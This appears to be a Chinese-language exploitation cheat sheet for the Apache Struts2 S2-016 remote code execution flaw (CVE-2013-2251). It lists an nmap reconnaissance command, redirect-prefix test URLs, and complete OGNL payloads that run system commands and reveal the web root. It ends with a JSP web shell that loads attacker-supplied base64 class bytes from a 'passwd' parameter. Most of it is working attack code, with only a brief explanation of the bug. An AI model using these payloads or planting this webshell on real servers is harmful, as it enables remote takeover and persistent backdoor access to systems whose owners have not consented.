(CVE-2013-2251)(CVE-2013-2251)
Struts2-016 远程代码执行漏洞(CVE-2013-2251)
影响范围:Struts2-016影响Struts2 2.0.0-2.3.15版本

信息收集:nmap 192.168.85.130 -p 8080 -sV -A

任意URL跳转,跳转成功及存在漏洞: /index.action?redirect:http://1111111111111111111.com

/index.action?redirect:${3*7};/index.action?redirect:%24%7b3*7%7d

/index.action?redirect:%{3*7}; /index.action?redirect:%25%7b3*7%7d

执行命令:redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取web目录:redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

struts2 命令执行 (CVE-2013-2251)
在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
影响范围:Struts 2.0.0 – Struts 2.3.14.2版本



<%!
class U extends ClassLoader {U(ClassLoader c) {super(c);}
public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}
public byte[] base64Decode(String str) throws Exception {
try { Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) { Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);} }
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}%>

